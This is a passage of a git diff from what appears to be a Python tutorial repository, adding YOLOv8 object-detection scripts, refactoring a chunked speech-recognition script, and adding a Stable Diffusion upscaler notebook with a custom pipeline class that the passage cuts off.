end of file diff --git a/machine-learning/object-detection/read_video_yolov8.py b/machine-learning/object-detection/read_video_yolov8.py new file mode 100644 index 00000000..3d02fddf --- /dev/null +++ b/machine-learning/object-detection/read_video_yolov8.py @@ -0,0 +1,79 @@ +import cv2 +import numpy as np + +import time +import sys + +from ultralytics import YOLO + +# define some parameters +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +# loading the YOLOv8 model with the default weight file +model = YOLO("yolov8n.pt") + +# read the file from the command line +video_file = sys.argv[1] +cap = cv2.VideoCapture(video_file) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + start = time.perf_counter() + results = model.predict(image, conf=CONFIDENCE)[0] + time_took = time.perf_counter() - start + print("Time took:", time_took) + + # loop over the detections + for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + try: + overlay = image.copy() + except: + break + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + # end time to compute the fps + end = time.perf_counter() + # calculate the frame per second and draw it on the frame + fps = f"FPS: {1 / (end - start):.2f}" + cv2.putText(image, fps, (50, 50), + cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6) + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/machine-learning/object-detection/requirements.txt b/machine-learning/object-detection/requirements.txt index ad07e21c..089e32c6 100644 --- a/machine-learning/object-detection/requirements.txt +++ b/machine-learning/object-detection/requirements.txt @@ -1,3 +1,4 @@ opencv-python numpy -matplotlib \ No newline at end of file +matplotlib +ultralytics \ No newline at end of file diff --git a/machine-learning/object-detection/yolov8_opencv.py b/machine-learning/object-detection/yolov8_opencv.py new file mode 100644 index 00000000..85b5a298 --- /dev/null +++ b/machine-learning/object-detection/yolov8_opencv.py @@ -0,0 +1,68 @@ +import numpy as np +import os +import cv2 +import time +import sys +from ultralytics import YOLO + +# define some parameters +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 + +# loading the YOLOv8 model with the default weight file +model = YOLO("yolov8n.pt") + +# loading all the class labels (objects) +labels = open("data/coco.names").read().strip().split("\n") + +# generating colors for each object for later plotting +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +path_name = sys.argv[1] +image = cv2.imread(path_name) +file_name = os.path.basename(path_name) # "dog.jpg" +filename, ext = file_name.split(".") # "dog", "jpg" + +# measure how much it took in seconds +start = time.perf_counter() +# run inference on the image +# see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments +results = model.predict(image, conf=CONFIDENCE)[0] +time_took = time.perf_counter() - start +print(f"Time took: {time_took:.2f}s") +print(results.boxes.data) + +# loop over the detections +for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + +# display output image +cv2.imshow("Image", image) +cv2.waitKey(0) +# save output image to disk +cv2.imwrite(filename + "_yolo8." + ext, image) diff --git a/machine-learning/speech-recognition/long_audio_recognizer.py b/machine-learning/speech-recognition/long_audio_recognizer.py index 2f8b66a0..f242f92c 100644 --- a/machine-learning/speech-recognition/long_audio_recognizer.py +++ b/machine-learning/speech-recognition/long_audio_recognizer.py @@ -7,16 +7,24 @@ # create a speech recognition object r = sr.Recognizer() -# a function that splits the audio file into chunks +# a function to recognize speech in the audio file +# so that we don't repeat ourselves in in other functions +def transcribe_audio(path): + # use the audio file as the audio source + with sr.AudioFile(path) as source: + audio_listened = r.record(source) + # try converting it to text + text = r.recognize_google(audio_listened) + return text + +# a function that splits the audio file into chunks on silence # and applies speech recognition -def get_large_audio_transcription(path): - """ - Splitting the large audio file into chunks - and apply speech recognition on each of these chunks - """ +def get_large_audio_transcription_on_silence(path): + """Splitting the large audio file into chunks + and apply speech recognition on each of these chunks""" # open the audio file using pydub - sound = AudioSegment.from_wav(path) - # split audio sound where silence is 700 miliseconds or more and get chunks + sound = AudioSegment.from_file(path) + # split audio sound where silence is 500 miliseconds or more and get chunks chunks = split_on_silence(sound, # experiment with this value for your target audio file min_silence_len = 500, @@ -37,24 +45,59 @@ def get_large_audio_transcription(path): chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") audio_chunk.export(chunk_filename, format="wav") # recognize the chunk - with sr.AudioFile(chunk_filename) as source: - audio_listened = r.record(source) - # try converting it to text - try: - text = r.recognize_google(audio_listened) - except sr.UnknownValueError as e: - print("Error:", str(e)) - else: - text = f"{text.capitalize()}. " - print(chunk_filename, ":", text) - whole_text += text + try: + text = transcribe_audio(chunk_filename) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text # return the text for all chunks detected return whole_text +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """Splitting the large audio file into fixed interval chunks + and apply speech recognition on each of these chunks""" + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + try: + text = transcribe_audio(chunk_filename) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + + if __name__ == '__main__': import sys # path = "30-4447-0004.wav" # path = "7601-291468-0006.wav" path = sys.argv[1] - print("\nFull text:", get_large_audio_transcription(path)) \ No newline at end of file + print("\nFull text:", get_large_audio_transcription_on_silence(path)) + print("="*50) + print("\nFull text:", get_large_audio_transcription_fixed_interval(path, minutes=1/6)) + \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/README.md b/machine-learning/stable-diffusion-upscaler/README.md new file mode 100644 index 00000000..3ae8e02d --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/README.md @@ -0,0 +1 @@ +# [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface) \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..3fdee1e8 --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb @@ -0,0 +1,7341 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "-C875CYSCygt", + "outputId": "dd991ed9-d57f-4e5b-bee3-bcb6882369d9" + }, + "outputs": [], + "source": [ + "!pip install -qU diffusers transformers accelerate scipy safetensors" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "mAHWEPSfUlmg" + }, + "source": [ + "# Hugging Face Implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "jor1D7LvDA9l" + }, + "outputs": [], + "source": [ + "import requests\n", + "from PIL import Image\n", + "from io import BytesIO\n", + "from diffusers import StableDiffusionUpscalePipeline\n", + "import torch" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 465, + "referenced_widgets": [ + "bc72d593b56c42899ff4779e92bcf818", + "cabab037d12a455bbd283477e481d4ca", + "7cdde9f1b0f1403ababc0e3e120617c4", + "28c075d27bf8437c99b4fa8091d4d2c0", + "7c5bcff9ea9344dca52dbaa4a6545b50", + "2b68707a9749479cab4b4ecd124d87cb", + "e7274e83d2c44080bbbb2fc5ec79dfee", + "238d055bf5ff4891b2e9c6aa28a89fad", + "66a8f48777064cab94ebdfb44044fec7", + "c883ad6804cd4f628494b1eb7f432e51", + "6f1c7458863047598f98861765f325dd", + "6d0c44b7df564b87a2a688d770188184", + "502d0b0ef4c549b485c049a2dae9b4f1", + "67e1ee8ac39743d2a50db01595591f22", + "419cb861b6e84999a3708fd19b0295c6", + "fcc7b1147ad94a01ae49b4268e85d310", + "f931614414ba46adaab4c0522e65ebf8", + "e926a97d3f6149318dd6f01d17e90dd5", + "58bccc7add0a45d8b8640c42d89a864c", + "b4209eed23cb45038a5c614bfe8bf3b6", + "2e922ee442bc49f8b0d7d4bd79d92683", + "4d9d00362c1c4f48b5cddc1783956732", + "8d91958b962649479d9d85927ea0e3e0", + "2f1c260b17204c08870bac68408944c4", + "9f17b8692b824c0cb9a98cea381699a9", + "9a8c5af4272b4da0ba4aafa4da89817b", + "e04b95f508b7431c9f4ee9159e3b5b13", + "5896923dddc0466a9023c09c738f404a", + "f874ed5ecd6f4eed976ed24b0be4ae51", + "cdcf280e7a3043c2a1d59e0eea379d96", + "2e945d3f81204a538874a0a832102d15", + "417a14ed83ba4535bf47a39b9298aa4f", + "c797a3a49d1d44598e8810817eac04f6", + "659bd00aed7f4a41a843432966a1ccbf", + "274e736175d34926a0c614192288e510", + "a266a0d0bdde4a3aa09fec6a0a00abed", + "f78f911cd0ac4cdc8fdcbcb29f1a201b", + "9e0fde0538f84469bd62e9ea9f589b4f", + "bce74d8ba4dd4a35bd276ba2dbf0ffd1", + "f24b18d71065474a9f169b4fd66898f6", + "bc60bbefdc2a490588dd8f58327fd264", + "3119598ffcab4d6f9d1642ee595736ee", + "90c7965cfde540158d9e7cb049c2d7d3", + "b991b21d18ec471fb18b291a0c10aa6e", + "76fd2fe6247a48b7b3a6cc6eef8c9fa7", + "29da49469545454997e755839f8c156d", + "58aa60b3b1af45d2bdd8870dedd3cb67", + "f931d10a75ab4aafb1d6b92a0ba622b3", + "b67319578dc84245ad16cb8d25d3173c", + "d62c5143fa1544ba9e2d22555dc6c3f9", + "ba72519befe047eabb826d1f7ec0e39c", + "e76b29381c114f808b3454fb122e8d10", + "a1d133bc8fe344e2aed80fe5155177c3", + "5d3f04417ce64f80a2843e74bf6208f7", + "341fa26d73394e6cb71498a9c95b458c", + "6030f4bc6af8461abdc66e4599ef3f1f", + "818b00fb8ff04eadb9ccd1bdfe192807", + "44480a036c3c4442baa95d6288e83546", + "50949912a3ee403e8ddb328e62b61c0d", + "8dd862f24b164fc68664c30b3d241e62", + "aea53b42c35947c58d2c113bd2043078", + "02ce6e12de0f4ff1ab8029cf16e5fb99", + "520e09d44ecf488b93694eebe4a02147", + "5959385589b344b2bd8fc108067db8a3", + "b5a46aec8d594d02b618b9d59e4f4518", + "9ee85e252d32428ea44a91c71cd62a36", + "bfc87d61a154451294fa790fc30075ea", + "c8cabf1d8ffe421296725d8494ba0d3b", + "28fe7cfc4f4048eca1120a7228dcd629", + "9ecd3535823549bbbcbf3f131704d3eb", + "03b9fb0d0fa44ac8bf1a6aa678ff82c8", + "59b6eeeaf9464da891bf214ef1bbb7c2", + "7d3baaa3ab784895a59534261f43ce7d", + "8f487d06f9834f1b8dd0a63ffec62436", + "ee5e249b357649ab95d493d940bc3b01", + "9af01c4399c74223b5d7f94bd48d6952", + "aa44d82861804483b44e0f893b698b72", + "b7aa53a4de824d7fbec2a07c1771bc24", + "17c87915e01b4d2fa79042759bf1a57d", + "bafabfceff6e4f76b900878a4077337e", + "5d1c6a49ce6f4596946a2fd91bec3312", + "795329002e034ec4aead224cf74ea361", + "29fb67ab990343b6a374b35718b8a6c1", + "0854db4c71b449a9b15e994a38a1ca13", + "cd437bc3e2194f1a8c5e83ec98745b58", + "18ba1c9da9714f2494c06570e4dc1d64", + "085ee070cea44624806bcc7ada5ae36e", + "45148fd42fdb47b3a5424faa3c488c25", + "fb2398f1e5ff43f7a2f81bd51bf58e2a", + "53fa5e54123446199d57c27c3ee8b091", + "07a431a9456648b6bcbfa899ee0014ac", + "2f972961c0eb411ca45b8af05cc05e3b", + "6525d3514cee42f3bd14bdf898b63ad2", + "c8ba37c669974bbea2face17223d2bb4", + "c87c0b939bbe4e56b46fca4aa580f75a", + "639d6afb1b0440f98ce7e26cb621a111", + "7a9ce1cc3d71457797b0b1ca2831d514", + "c826a36c99ae462abccdc59266c404d3", + "5ef86b91d359434a9aa4787dc727cb1b", + "62bd9e1add374b9e90c54275bd2e0449", + "0d89ddfa9593441097ce8e42614ef775", + "e85ceff770654ef1bd935f54ca32ee07", + "d0716d01bfdf43ba88f8bbfd63d3285a", + "f6579ff0c08648309711a654ec3de748", + "665a3a25e6d543d79e2e321aec4954aa", + "d3971f94fa5f433580509a27ce3ad017", + "d801dfb1d399475e995ca9106f9b3a4d", + "ed75698d0ffe4bcf886c72d276bbee17", + "a9ab859e76814985877a4bacdb04e95a", + "1df97f1113c34b7eb89c7d1c6a81b3bd", + "fc9a8403148c431e8b0200d40c6efcb7", + "8b24a6ee676942ddaa27f44902ef2ac5", + "5b74c15d312f404e88323771b08b0aeb", + "7ad5acf646b44af2a1d8558abbb59199", + "d22523983b9a4c71a3057f3a281895ee", + "c081010577e7490eae450d69b0458a74", + "d011d28093544ae692f90a7380908275", + "a25cd36e4deb410f9ee54a92a18c939c", + "00cdbd64ce7d4b5a835a550ffc6b3510", + "7cc78829c6b744c380f52af44b49802a", + "03856828685f4f9791a0c00f9b4f5ed5", + "80aad8d6ac1b4b7780cd63deed9ceb11", + "0fcb664708324ec1bc56c4daa4a2dd15", + "37e24969e35c4099933ab57fac8b2599", + "efb86ed04a0d477794e70dc92219399b", + "3672f34ff79b417abb390592a3b9ed2b", + "5af1c44c0f434510abd7fe9d76f263da", + "895dd88b169e4688a51873bb1b3d2cd9", + "d3165abbffbc4da3bd4f0cb6f3437140", + "5a1be5246f2443858bd6933a89a68389", + "10d895cb5166417fa2b4cc0d2feb7b6f", + "23b55638314c4e2b967f85ab40042a6c", + "9c741e36450b4c66875df9dc3ba07507", + "cd9c9d32567f4e5aa9291f66b08490bf", + "c4995db7a62844b4a00daaf55847cabd", + "72fc113c125648538df5059fb578ae19", + "3943882166bb4470a800d9563f9e53a2", + "ad07cccdd8d44a9ab5e3458e8d902ac6", + "ff88d9a5f7d64ad7bb0f09f6c71543f1", + "080c7086e8684bb3bb857d23f426d5dd", + "37e74a92120d40ab99b8a3efeb397bd8", + "9ba492d205294bc0a8d07985ed271358", + "0a49275d970741f9b19f24569b80491a", + "4178b1767a614f89aa62f12a4e3a7350", + "c909bafccc65402fa93afea87f1b784e", + "6c32232cfb734ac3a3204a22c414fc18", + "1f37677826544166a0b63d36c9c3edac", + "a4d93e9fee48468281afac25f551806c", + "91f32130b9fc47ceaae99521c0b70015", + "e8bec5477f7c43c1a55c852ef8b7cb95", + "7a4e5fdddcd34b6cb658b94db24ba474", + "e6942466051e4a6a97c36b56d8d4e0c2", + "a8dbb00149f148ceaee2474c4304c902", + "f3c0042a67e34e72b1088b60c11ba2d0" + ] + }, + "id": "l3QZf9-UDEb0", + "outputId": "d2d9ea4c-1665-431b-c71c-bc5441522721" + }, + "outputs": [], + "source": [ + "# load model and scheduler\n", + "model_id = \"stabilityai/stable-diffusion-x4-upscaler\"\n", + "pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n", + "pipeline = pipeline.to(\"cuda\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1rZBf5X4VfbQ" + }, + "outputs": [], + "source": [ + "def get_low_res_img(url, shape):\n", + " response = requests.get(url)\n", + " low_res_img = Image.open(BytesIO(response.content)).convert(\"RGB\")\n", + " low_res_img = low_res_img.resize(shape)\n", + " return low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "VSWlrXyIDGSo", + "outputId": "1153aadd-bcc2-4365-9ce8-b02590018e49" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "c1dc0d80451c4d098f16eb6ec7eed752", + "d4c5db5f7ffe42beb2065e14cbdd755d", + "accd8a5f56cf41c5af297f8bf93f7058", + "824b0b410fed4ea1b5bc7f88236fc3e8", + "a6b2ca41ffb24b9193a83fd9a4c24a8c", + "bc9783a6d9d0437b881b01cad81c0173", + "9e5ef9fe15314ce3bf13e61994851485", + "ed9e0cfb4635476f9e31c5b48aeafde8", + "396aee75c5954aa9b634d79c18177977", + "c5f787d7f16542baa5a5657c3ecb14a0", + "be0a3bc217b04b2dbd06a90141c0dd35" + ] + }, + "id": "hPtKNnwSDA_u", + "outputId": "60b2259e-02a0-445d-da26-eca1d51b4181" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "9c2ff534109548fc8cab92f3b0aefc71", + "e417a487b9ab44d68bf5d4155f4ff339", + "ce0bc6a269b841e59b3c1b00796b8605", + "b014fb9554fb4f61a8d44135a6ad4954", + "c30445a77e81411bbad4f90b8c54bc35", + "c2ccf29c76d1461c8e820cdd1091684a", + "42248bb1fb38481eaa292dbca2d68e38", + "ac71f4fe6e804f19b2529c82e5a42049", + "518150c24b25401d92cf483e5ecb0253", + "d612163ad6d24d91a6d7ee758d8d6367", + "ab1c2c3e457944acb16508cf7a721290" + ] + }, + "id": "I1hCWlwXU5ij", + "outputId": "fca3425e-973a-4951-df52-6eebba1b96e3" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "4H0IkHfuDBB5", + "outputId": "1fceb2fc-7e6c-492f-fc5b-cbd6d64f3d65" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "xxVVHJAeDBEM", + "outputId": "f099d0db-89ef-49df-92f1-c01c861634e2" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "0c21001820524963b1214a2738c28584", + "ea062db0a1ad43af805bf2d86d26d369", + "2218df295404427eb6086c25f41946c5", + "682dc899e5ee4e24a9c0f1fc928fea6c", + "f8c3945c2c554cc9b7ea7435525c4ab4", + "b9cf936d26124cad959de16fcf5bea63", + "b3ae18d50eb4415b950f98bb38362207", + "0df5b95ccc3d4550bb1be7c001f54577", + "63a7a29ac462471eb67b275c68faff42", + "1ae88e18373a4322bddf0e51e5460a89", + "9b2140d07da744348068f013152b1160" + ] + }, + "id": "UKtH894dXWHN", + "outputId": "44bfe391-7abe-4b99-bfd3-b19e755bfdaa" + }, + "outputs": [], + "source": [ + "prompt = \"an old lady\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "cf11071b7b114118a8b0b659167fa09e", + "03bce4ac84fd40d485b023e21fe65c4f", + "d0e9965e6aa4483da2dfa546b896e645", + "22338ed9cec54338ad33267ed579603a", + "622d32a9bbda46fca3ee0733be303765", + "ec0c44e82a814774823e60634d678b0d", + "e71abb2ba1b546ff9d7acd0c174f60d4", + "1237bd63fa814b57bbd9741296d71f46", + "5b3ca63a1af5452cb81fde6020fd9c53", + "a5971d5b793545a3845fbe1029b557e1", + "8384173365364cd5996018a775b167e2" + ] + }, + "id": "L8fnlZsaDBHw", + "outputId": "9215669a-61be-4a6e-cd6b-85d212df6517" + }, + "outputs": [], + "source": [ + "prompt = \"an iranian old lady with black hair, brown scarf, rock background\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "OTJNWtuyXOnE", + "outputId": "fe9eb4f3-f7b9-481f-b17b-e2028737141e" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "dXXzMj7vXf5W", + "outputId": "1895b5c9-d87e-48e8-c580-97a3b81838ed" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg/"\n", + "shape = (450, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 453, + "referenced_widgets": [ + "64373eefa4884b3084975549efcbd7fe", + "d8b3f3c7b8394b5580d8541f20c090ae", + "634af1f0b6894726bebb7b546c667169", + "5b89e69b011a40918b1acc0adf141874", + "9c01417376444eed820394ef843c0be3", + "db833b8a924f43208063cdc7b74220f7", + "d74c7ced9e5841e0a3635bf848912874", + "6a72b26cbdf041e7a8331fdc1642dee5", + "3c4dca0b51954031905bada22feef684", + "1e276839600443fa82ca0ab00409fd99", + "639d147ac3674094be21de9f3c11477c" + ] + }, + "id": "xjH0CWRHXf7o", + "outputId": "b1ed8851-6243-43b8-d995-93129640b70d" + }, + "outputs": [], + "source": [ + "prompt = \"zebras drinking water\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 419 + }, + "id": "ydbUyEFvXf_E", + "outputId": "3028b021-c4a0-4f19-8a2e-0a3e4b19f348" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((1800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "MFt4Y1AoYWse" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Ng2oJwHqYWvz" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "NiM8uOTr9DK3" + }, + "source": [ + "# Custom\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yCuWhxws9D24" + }, + "outputs": [], + "source": [ + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "T7PrARPl9EN2" + }, + "outputs": [], + "source": [ + "class CustomSDUpscalingPipeline:\n", + " \"\"\"custom implementation of the Stable Diffusion Upscaling Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " low_res_scheduler,\n", + " scheduler,\n", + " image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.low_res_scheduler = low_res_scheduler\n", + " self.scheduler = scheduler\n", + " self.image_processor = image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds for classfier free guidance\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n", + "\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " image,\n", + " timesteps,\n", + " latents,\n", + " noise_level,\n", + " guidance_scale):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latents\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + " latent_model_input = torch.cat([latent_model_input, image], dim=1)\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(\n", + " latent_model_input,\n", + " t,\n", + " encoder_hidden_states=prompt_embeds,\n", + " class_labels=noise_level\n", + " )['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + "\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, 